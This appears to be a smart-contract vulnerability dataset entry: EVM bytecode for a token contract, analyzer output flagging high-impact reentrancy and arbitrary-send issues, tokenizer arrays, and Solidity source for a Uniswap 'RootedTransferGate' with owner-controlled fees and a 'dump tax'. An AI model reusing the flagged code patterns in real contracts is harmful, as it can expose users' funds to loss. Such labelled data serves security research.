6600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612e45576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b80600660056101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6010602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b612ed261326d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612f92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415613018576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614fcb6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461317b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b60648161ffff1611156131d9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180614f6c603b913960400191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167f3eec69630b6f49d4e10eec296fce4baddec5f34c5430fb2cd72f8c4218f63fd0600660039054906101000a900461ffff1683604051808361ffff1681526020018261ffff1681526020019250505060405180910390a280600660036101000a81548161ffff021916908361ffff16021790555050565b61dead81565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156132fb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614fa76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613381576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806151986022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b8282826000613479612704565b11156135965760001515600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561352f575060001515600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b156135955761353c612704565b811115613594576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180614eb86038913960400191505060405180910390fd5b5b5b60011515600a60009054906101000a900460ff1615151480156135cc575060001515600d60149054906101000a900460ff161515145b80156136275750600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80156136825750600073ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80156136dc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b80156137365750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b1561374457613743614256565b5b61dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148061379457506000600660019054906101000a900461ffff1661ffff16145b156137a9576137a48686866143c6565b613a78565b600660059054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156138545750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b156138b45760075484106138b3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061508f6028913960400191505060405180910390fd5b5b60006138f16127106138e3600660019054906101000a900461ffff1661ffff168861413a90919063ffffffff16565b6141c090919063ffffffff16565b9050600061392f6064613921600660039054906101000a900461ffff1661ffff168561413a90919063ffffffff16565b6141c090919063ffffffff16565b90506000613946828461468090919063ffffffff16565b905080820183146139bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f7472616e736665723a204275726e2076616c756520696e76616c69640000000081525060200191505060405180910390fd5b60006139d4848961468090919063ffffffff16565b90508381018814613a4d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f7472616e736665723a205461782076616c756520696e76616c6964000000000081525060200191505060405180910390fd5b613a5a8a61dead856143c6565b613a658a30846143c6565b613a708a8a836143c6565b809750505050505b505050505050565b6000838311158290613b2d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613af2578082015181840152602081019050613ad7565b50505050905090810190601f168015613b1f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b600080828401905083811015613bb8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613c65576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f42455032303a207a65726f20616464726573730000000000000000000000000081525060200191505060405180910390fd5b8060036000828254019250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613d685750600081115b15613fc457600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614613e98576000601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611613e0b576000613e6f565b601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff168152602001908152602001600020600101545b90506000613e86848361468090919063ffffffff16565b9050613e9486848484614703565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614613fc3576000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611613f36576000613f9a565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff168152602001908152602001600020600101545b90506000613fb18483613b3a90919063ffffffff16565b9050613fbf85848484614703565b5050505b5b505050565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600061403884611900565b905082600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4614134828483613d2c565b50505050565b60008083141561414d57600090506141ba565b600082840290508284828161415e57fe5b04146141b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806150b76021913960400191505060405180910390fd5b809150505b92915050565b6000808211614237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b81838161424057fe5b04905092915050565b6000804690508091505090565b6001600d60146101000a81548160ff0219169083151502179055506000600660019054906101000a900461ffff1690506000600660016101000a81548161ffff021916908361ffff16021790555060006142af30611900565b905060006142bb612704565b90508082116142ca57816142cc565b805b9150600b548210614389576000600b54905060006142f46002836141c090919063ffffffff16565b9050600061430b828461468090919063ffffffff16565b9050600047905061431b83614997565b6000614330824761468090919063ffffffff16565b905061433c8382614c4b565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56184828560405180848152602001838152602001828152602001935050505060405180910390a150505050505b505080600660016101000a81548161ffff021916908361ffff160217905550506000600d60146101000a81548160ff021916908315150217905550565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561444c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614f476025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156144d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806151506023913960400191505060405180910390fd5b61453e8160405180606001604052806026815260200161512a60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a809092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506145d381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3a90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000828211156146f8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b818303905092915050565b6000614727436040518060600160405280602e81526020016150fc602e9139614dbb565b905060008463ffffffff161180156147bc57508063ffffffff16601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b1561482d5781601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff1681526020019081526020016000206001018190555061493a565b60405180604001604052808263ffffffff16815260200183815250601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff1602179055506020820151816001015590505060018401601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051808381526020018281526020019250505060405180910390a25050505050565b6060600267ffffffffffffffff811180156149b157600080fd5b506040519080825280602002602001820160405280156149e05781602001602082028036833780820191505090505b50905030816000815181106149f157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015614a9357600080fd5b505afa158015614aa7573d6000803e3d6000fd5b505050506040513d6020811015614abd57600080fd5b810190808051906020019092919050505081600181518110614adb57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050614b4230600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684613275565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015614c06578082015181840152602081019050614beb565b505050509050019650505050505050600060405180830381600087803b158015614c2f57600080fd5b505af1158015614c43573d6000803e3d6000fd5b505050505050565b614c7830600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684613275565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b158015614d6457600080fd5b505af1158015614d78573d6000803e3d6000fd5b50505050506040513d6060811015614d8f57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050505050565b600064010000000083108290614e6c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614e31578082015181840152602081019050614e16565b50505050905090810190601f168015614e5e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160008152509056fe6765745072696f72566f7465733a206e6f74207965742064657465726d696e6564616e74695768616c653a205472616e7366657220616d6f756e74206578636565647320746865206d61785472616e73666572416d6f756e747570646174654d61785472616e73666572416d6f756e74526174653a204d6178207472616e7366657220616d6f756e742072617465206d757374206e6f742065786365656420746865206d6178696d756d20726174652e42455032303a207472616e736665722066726f6d20746865207a65726f20616464726573737570646174654275726e526174653a204275726e2072617465206d757374206e6f742065786365656420746865206d6178696d756d20726174652e42455032303a20617070726f76652066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373757064617465546f6b656e53776170526f757465723a20496e76616c6964207061697220616464726573732e42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63657570646174655472616e73666572546178526174653a205472616e73666572207461782072617465206d757374206e6f742065786365656420746865206d6178696d756d20726174652e5472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f776f70657261746f723a2063616c6c6572206973206e6f7420746865206f70657261746f725f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747342455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737342455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f42455032303a20617070726f766520746f20746865207a65726f2061646472657373a26469706673582212203fa74772116891001a3e71f22d288fc37448843a2fb161ebd5df8020a6bccc9564736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 21084, 4246, 2487, 2546, 2475, 2094, 12521, 12740, 22025, 2549, 2278, 19961, 24096, 11387, 2575, 22394, 2063, 2692, 4783, 17134, 2620, 2683, 2278, 2546, 16086, 2497, 1013, 1008, 6160, 2000, 1002, 7163, 16168, 2063, 2023, 2003, 1037, 2451, 19204, 1012, 2061, 2045, 2003, 2053, 2880, 2177, 1012, 2065, 2619, 4122, 2000, 3443, 2028, 1010, 2074, 2079, 2115, 11845, 1999, 2060, 2967, 1010, 1998, 2059, 5323, 1037, 10465, 2177, 1012, 2045, 2003, 2069, 2028, 3149, 3405, 1996, 2592, 2043, 1045, 2207, 2023, 9226, 1012, 2065, 2017, 2215, 2000, 3193, 2035, 1996, 2592, 2055, 2023, 9226, 1010, 3531, 4638, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 7163, 16168, 15937, 20147, 2140, 1045, 1005, 2222, 5843, 6381, 3012, 6948, 2015, 2083, 2136, 1012, 5446, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,804
0x9766473f3e7433F54f0bcb102b6D39e33D856928
// SPDX-License-Identifier: P-P-P-PONZO!!! pragma solidity ^0.7.4; pragma experimental ABIEncoderV2; /* ROOTKIT: A transfer gate (GatedERC20) for use with RootKit tokens It: Allows customization of tax and burn rates Allows transfer to/from approved Uniswap pools Disallows transfer to/from non-approved Uniswap pools Allows transfer to/from anywhere else Allows for free transfers if permission granted Allows for unrestricted transfers if permission granted Provides a safe and tax-free liquidity adding function */ import "./Owned.sol"; import "./IUniswapV2Factory.sol"; import "./IERC20.sol"; import "./IUniswapV2Pair.sol"; import "./EliteToken.sol"; import "./Address.sol"; import "./IUniswapV2Router02.sol"; import "./SafeERC20.sol"; import "./SafeMath.sol"; import "./TokensRecoverable.sol"; import "./ITransferGate.sol"; import "./FeeSplitter.sol"; contract RootedTransferGate is TokensRecoverable, ITransferGate { using Address for address; using SafeERC20 for IERC20; using SafeMath for uint256; enum AddressState { Unknown, NotPool, DisallowedPool, AllowedPool } IUniswapV2Router02 immutable internal uniswapV2Router; IUniswapV2Factory immutable internal uniswapV2Factory; IERC31337 immutable internal rootedToken; mapping (address => AddressState) public addressStates; IERC20[] public allowedPoolTokens; bool public unrestricted; mapping (address => bool) public unrestrictedControllers; mapping (address => bool) public feeControllers; mapping (address => bool) public freeParticipantControllers; mapping (address => bool) public freeParticipant; mapping (address => uint256) public liquiditySupply; address public mustUpdate; FeeSplitter feeSplitter; uint16 feesRate; uint16 sellFeesRate; uint16 startTaxRate; uint256 durationInSeconds; uint256 endTimestamp; constructor(IERC31337 _rootedToken, IUniswapV2Router02 _uniswapV2Router) { rootedToken = _rootedToken; uniswapV2Router = _uniswapV2Router; uniswapV2Factory = IUniswapV2Factory(_uniswapV2Router.factory()); } function allowedPoolTokensCount() public view returns (uint256) { return allowedPoolTokens.length; } function setUnrestrictedController(address unrestrictedController, bool allow) public ownerOnly() { unrestrictedControllers[unrestrictedController] = allow; } function setFreeParticipantController(address freeParticipantController, bool allow) public ownerOnly() { freeParticipantControllers[freeParticipantController] = allow; } function setFeeControllers(address feeController, bool allow) public ownerOnly() { feeControllers[feeController] = allow; } function setFeeSplitter(FeeSplitter _feeSplitter) public ownerOnly() { feeSplitter = _feeSplitter; } function setFreeParticipant(address participant, bool free) public { require (msg.sender == owner || freeParticipantControllers[msg.sender], "Not an Owner or Free Participant"); freeParticipant[participant] = free; } function setUnrestricted(bool _unrestricted) public { require (unrestrictedControllers[msg.sender], "Not an unrestricted controller"); unrestricted = _unrestricted; } function setDumpTax(uint16 _startTaxRate, uint256 _durationInSeconds) public { require (feeControllers[msg.sender] || msg.sender == owner, "Not an owner or fee controller"); require (_startTaxRate <= 1000, "Fee rate should be less than or equal to 10%"); startTaxRate = _startTaxRate; durationInSeconds = _durationInSeconds; endTimestamp = block.timestamp + durationInSeconds; } function getDumpTax() public view returns (uint256) { if (block.timestamp >= endTimestamp) { return 0; } return startTaxRate*(endTimestamp - block.timestamp).mul(1e12).div(durationInSeconds).div(1e12); } function setFees(uint16 _feesRate) public { require (feeControllers[msg.sender] || msg.sender == owner, "Not an owner or fee controller"); require (_feesRate <= 1000, "> 10%"); // protecting everyone from Ponzo feesRate = _feesRate; } function setSellFees(uint16 _sellFeesRate) public { require (feeControllers[msg.sender] || msg.sender == owner, "Not an owner or fee controller"); require (_sellFeesRate <= 2000, "> 20%"); // protecting everyone from Ponzo sellFeesRate = _sellFeesRate; } function allowPool(IERC20 token) public ownerOnly() { address pool = uniswapV2Factory.getPair(address(rootedToken), address(token)); if (pool == address(0)) { pool = uniswapV2Factory.createPair(address(rootedToken), address(token)); } AddressState state = addressStates[pool]; require (state != AddressState.AllowedPool, "Already allowed"); addressStates[pool] = AddressState.AllowedPool; allowedPoolTokens.push(token); liquiditySupply[pool] = IERC20(pool).totalSupply(); } function safeAddLiquidity(IERC20 token, uint256 tokenAmount, uint256 rootKitAmount, uint256 minTokenAmount, uint256 minRootKitAmount, address to, uint256 deadline) public returns (uint256 rootKitUsed, uint256 tokenUsed, uint256 liquidity) { address pool = uniswapV2Factory.getPair(address(rootedToken), address(token)); require (pool != address(0) && addressStates[pool] == AddressState.AllowedPool, "Pool not approved"); require (!unrestricted); unrestricted = true; uint256 tokenBalance = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), tokenAmount); rootedToken.transferFrom(msg.sender, address(this), rootKitAmount); rootedToken.approve(address(uniswapV2Router), rootKitAmount); token.safeApprove(address(uniswapV2Router), tokenAmount); (rootKitUsed, tokenUsed, liquidity) = uniswapV2Router.addLiquidity(address(rootedToken), address(token), rootKitAmount, tokenAmount, minRootKitAmount, minTokenAmount, to, deadline); liquiditySupply[pool] = IERC20(pool).totalSupply(); if (mustUpdate == pool) { mustUpdate = address(0); } if (rootKitUsed < rootKitAmount) { rootedToken.transfer(msg.sender, rootKitAmount - rootKitUsed); } tokenBalance = token.balanceOf(address(this)).sub(tokenBalance); // we do it this way in case there's a burn if (tokenBalance > 0) { token.safeTransfer(msg.sender, tokenBalance); } unrestricted = false; } function handleTransfer(address, address from, address to, uint256 amount) public virtual override returns (address, uint256) { { address mustUpdateAddress = mustUpdate; if (mustUpdateAddress != address(0)) { mustUpdate = address(0); uint256 newSupply = IERC20(mustUpdateAddress).totalSupply(); uint256 oldSupply = liquiditySupply[mustUpdateAddress]; if (newSupply != oldSupply) { liquiditySupply[mustUpdateAddress] = unrestricted ? newSupply : (newSupply > oldSupply ? newSupply : oldSupply); } } } { AddressState fromState = addressStates[from]; AddressState toState = addressStates[to]; if (fromState != AddressState.AllowedPool && toState != AddressState.AllowedPool) { if (fromState == AddressState.Unknown) { fromState = detectState(from); } if (toState == AddressState.Unknown) { toState = detectState(to); } require (unrestricted || (fromState != AddressState.DisallowedPool && toState != AddressState.DisallowedPool), "Pool not approved"); } if (toState == AddressState.AllowedPool) { mustUpdate = to; } if (fromState == AddressState.AllowedPool) { if (unrestricted) { liquiditySupply[from] = IERC20(from).totalSupply(); } require (IERC20(from).totalSupply() >= liquiditySupply[from], "Cannot remove liquidity"); } } if (unrestricted || freeParticipant[from] || freeParticipant[to]) { return (address(feeSplitter), 0); } if (to == address(uniswapV2Router)) { return (address(feeSplitter), amount * sellFeesRate / 10000 + getDumpTax()); } // "amount" will never be > totalSupply which is capped at 10k, so these multiplications will never overflow return (address(feeSplitter), amount * feesRate / 10000); } function setAddressState(address a, AddressState state) public ownerOnly() { addressStates[a] = state; } function detectState(address a) public returns (AddressState state) { state = AddressState.NotPool; if (a.isContract()) { try this.throwAddressState(a) { assert(false); } catch Error(string memory result) { // if (bytes(result).length == 1) { // state = AddressState.NotPool; // } if (bytes(result).length == 2) { state = AddressState.DisallowedPool; } } catch { } } addressStates[a] = state; return state; } // Not intended for external consumption // Always throws // We want to call functions to probe for things, but don't want to open ourselves up to // possible state-changes // So we return a value by reverting with a message function throwAddressState(address a) external view { try IUniswapV2Pair(a).factory() returns (address factory) { if (factory == address(uniswapV2Factory)) { // these checks for token0/token1 are just for additional // certainty that we're interacting with a uniswap pair try IUniswapV2Pair(a).token0() returns (address token0) { if (token0 == address(rootedToken)) { revert("22"); } try IUniswapV2Pair(a).token1() returns (address token1) { if (token1 == address(rootedToken)) { revert("22"); } } catch { } } catch { } } } catch { } revert("1"); } }
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80637da6b49611610104578063c380213e116100a2578063e30b472f11610071578063e30b472f1461053e578063f2fde38b1461056e578063f77a4ba01461058a578063fb774c04146105ba576101da565b8063c380213e146104cc578063ca1123c2146104e8578063d8304ae214610504578063d89bc36714610520576101da565b806395c47d06116100de57806395c47d06146104475780639c8c247c14610478578063ad73fc3e14610494578063b17fb9d6146104b0576101da565b80637da6b496146103dd5780638327eb871461040d5780638da5cb5b14610429576101da565b806339a8c0fa1161017c5780634e71e0c81161014b5780634e71e0c81461036b57806356f62a3b1461037557806370b362b5146103915780637c1c6f0b146103ad576101da565b806339a8c0fa146102f75780633d4dc137146103155780633e2a196e1461033357806345d63cd31461034f576101da565b806316114acd116101b857806316114acd1461025b57806326278f8614610277578063329e882c1461029557806335c6508d146102c7576101da565b806308a7595b146101df5780630bfe89341461020f57806313b0dc981461023f575b600080fd5b6101f960048036038101906101f491906139cb565b6105ea565b60405161020691906141cb565b60405180910390f35b61022960048036038101906102249190613c9f565b61060a565b60405161023691906141e6565b60405180910390f35b61025960048036038101906102549190613c63565b610649565b005b61027560048036038101906102709190613b73565b6107a7565b005b61027f610949565b60405161028c91906141cb565b60405180910390f35b6102af60048036038101906102aa9190613b9c565b61095c565b6040516102be93929190614397565b60405180910390f35b6102e160048036038101906102dc91906139cb565b6111b8565b6040516102ee9190614201565b60405180910390f35b6102ff6111d8565b60405161030c919061437c565b60405180910390f35b61031d61124f565b60405161032a919061437c565b60405180910390f35b61034d60048036038101906103489190613a80565b61125c565b005b61036960048036038101906103649190613a80565b611378565b005b610373611494565b005b61038f600480360381019061038a9190613abc565b6115ec565b005b6103ab60048036038101906103a69190613b73565b611711565b005b6103c760048036038101906103c291906139cb565b611bda565b6040516103d49190614201565b60405180910390f35b6103f760048036038101906103f291906139cb565b611d07565b60405161040491906141cb565b60405180910390f35b61042760048036038101906104229190613af8565b611d27565b005b610431611dd0565b60405161043e9190614080565b60405180910390f35b610461600480360381019061045c9190613a1d565b611df4565b60405161046f9291906141a2565b60405180910390f35b610492600480360381019061048d9190613a80565b6125e1565b005b6104ae60048036038101906104a99190613c3a565b61271e565b005b6104ca60048036038101906104c59190613b4a565b612869565b005b6104e660048036038101906104e19190613a80565b61296e565b005b61050260048036038101906104fd9190613c3a565b612a8a565b005b61051e600480360381019061051991906139cb565b612bd5565b005b610528612f09565b6040516105359190614080565b60405180910390f35b610558600480360381019061055391906139cb565b612f2f565b60405161056591906141cb565b60405180910390f35b610588600480360381019061058391906139cb565b612f4f565b005b6105a4600480360381019061059f91906139cb565b613054565b6040516105b191906141cb565b60405180910390f35b6105d460048036038101906105cf91906139cb565b613074565b6040516105e1919061437c565b60405180910390f35b60076020528060005260406000206000915054906101000a900460ff1681565b6003818154811061061a57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806106ec575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61072b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107229061427c565b60405180910390fd5b6103e88261ffff161115610774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076b9061421c565b60405180910390fd5b81600b60186101000a81548161ff